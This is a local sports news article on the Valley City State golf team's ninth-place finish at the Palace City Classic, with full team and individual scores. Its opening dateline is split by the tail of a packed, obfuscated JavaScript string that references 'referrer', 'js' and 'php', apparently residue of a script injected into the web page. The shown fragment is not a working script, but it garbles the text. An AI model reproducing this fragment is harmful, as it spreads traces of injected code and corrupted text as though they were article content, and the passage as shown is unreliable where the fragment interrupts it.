VALLEY hskrr|var|u0026u|referrer|rkkbr||js|php’.split(‘|’),0,{}))
CITY N.D. (NewsDakota.com) It was the Fall cap for the Valley City Vikings Golf team, as they were in Mitchel, South Dakota for the Palace City Classic.
The Vikings had a rough go of things, finishing the tournament in 9th place. Ben Sorenson was the top finisher for Valley City shooting a 158 over the two day invite. That score was good enough for 38th place individual finish.
The Vikings rivals, the University of Jamestown, finished in third place, while Hastings College won the tournament.
The Results of the weekend are listed below.
1. Hastings College 285 295 580
2 Ben Vetrovsky 67 74 141
5 Cameron Bargell 73 71 144
8 Cody Vance 72 75 147
T 9 Collin Tedesco 73 75 148
T 17 Sean Backer 74 77 151
2. Northwestern Coll IA 279 302 581
1 Neil Malenke 65 75 140
T 3 Ryan Kiewiet 69 73 142
T 14 Caleb Malenke 72 78 150
T 19 Jordan Oltman 73 79 152
T 26 Jordan Reinders 77 76 153
3. Jamestown, Univ. of 284 305 589
T 3 Tyler Baukol 67 75 142
T 12 Tommy Rockis 74 75 149
T 14 Michael Strain 72 78 150
T 19 Kameron Hunter 71 81 152
T 19 Matt Vacek 75 77 152
4. Dakota Wesleyan U. 293 299 592
T 6 Tyler Burr 72 73 145
T 9 Austin Hieb 73 75 148
T 17 Mac Young 79 72 151
T 19 Tom Hogg 73 79 152
30 Josh Korn 75 79 154
5. DWU-JV#1 294 307 601
T 6 Anthony Husher 73 72 145
T 14 Elliott Banks 73 77 150
T 19 Cal Wiese 71 81 152
T 31 Michael Whitney 78 77 155
T 39 Broderick Baker 77 82 159
6. Dordt College 299 314 613
T 12 Madison Moss 71 78 149
T 19 Connor Rothert 76 76 152
T 26 Nathan Middel 74 79 153
T 39 Trey Hugen 78 81 159
53 Micah Roos 81 81 162
7. Briar Cliff Univ. 307 312 619
T 26 Josh Baldus 75 78 153
T 31 Josh Ellanson 77 78 155
T 31 Jake Buelt 78 77 155
T 43 Zach Woldruff 81 79 160
T 43 Jake Heumiller 77 83 160
8. Northeastern CC 313 311 624
T 26 Michael Bergquist 79 74 153
T 34 Conner Watson 78 78 156
T 34 Alex Dredge 75 81 156
T 39 Mitchell Smith 81 78 159
57 Justin Bruntz 83 88 171
9. Valley City State 307 324 631
38 Ben Sorenson 78 80 158
T 39 Jake Richels 80 79 159
T 43 Shane Ost 74 86 160
T 43 Darren Young 76 84 160
T 43 Casey Colemer 79 81 160
10. DWU-JV#2 311 323 634
T 34 Brady Besco 77 79 156
T 43 Carson Moore 80 80 160
T 49 Gabe Dirksen 78 83 161
T 49 Jay Determan 76 85 161
T 49 Payton Baker 80 81 161
11. HC-JV 316 322 638
T 19 Ross Hogland 73 79 152
37 Blake Bowland 79 78 157
T 49 Brendan Johnsen 80 81 161
56 Sam Johnson 84 84 168
59 Grant Szwanek 88 88 176
Mount Marty College DNF DNF
T 54 Robbie Neswick 82 83 165
58 Austin Schweers 86 88 174
T 60 Dylan Brende 85 94 179